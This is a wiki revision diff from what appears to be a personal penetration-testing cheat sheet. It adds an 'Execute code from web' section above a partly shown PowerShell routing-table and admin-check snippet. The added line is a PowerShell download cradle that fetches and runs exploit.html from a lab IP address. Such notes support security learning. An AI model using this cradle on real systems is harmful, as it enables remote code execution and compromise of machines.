Changes

Jump to navigation Jump to search
170 bytes added ,  10:40, 16 January 2020
m
no edit summary
Line 1: Line 1: −
== Modify Routing Table ==
+
== Execute code from web ==
<source lang="PowerShell">param([switch]$Elevated)
+
<syntaxhighlight lang="powershell">
 +
powershell "IEX(New-Object Net.WebClient).downloadString("10.10.14.8:8000/exploit.html")
 +
</syntaxhighlight>
 +
 
 +
==Modify Routing Table==
 +
<source lang="PowerShell">param([switch]$Elevated)
 
function Check-Admin {
 
function Check-Admin {
 
     $currentUser = New-Object Security.Principal.WindowsPrincipal $([Security.Principal.WindowsIdentity]::GetCurrent())
 
     $currentUser = New-Object Security.Principal.WindowsPrincipal $([Security.Principal.WindowsIdentity]::GetCurrent())

Navigation menu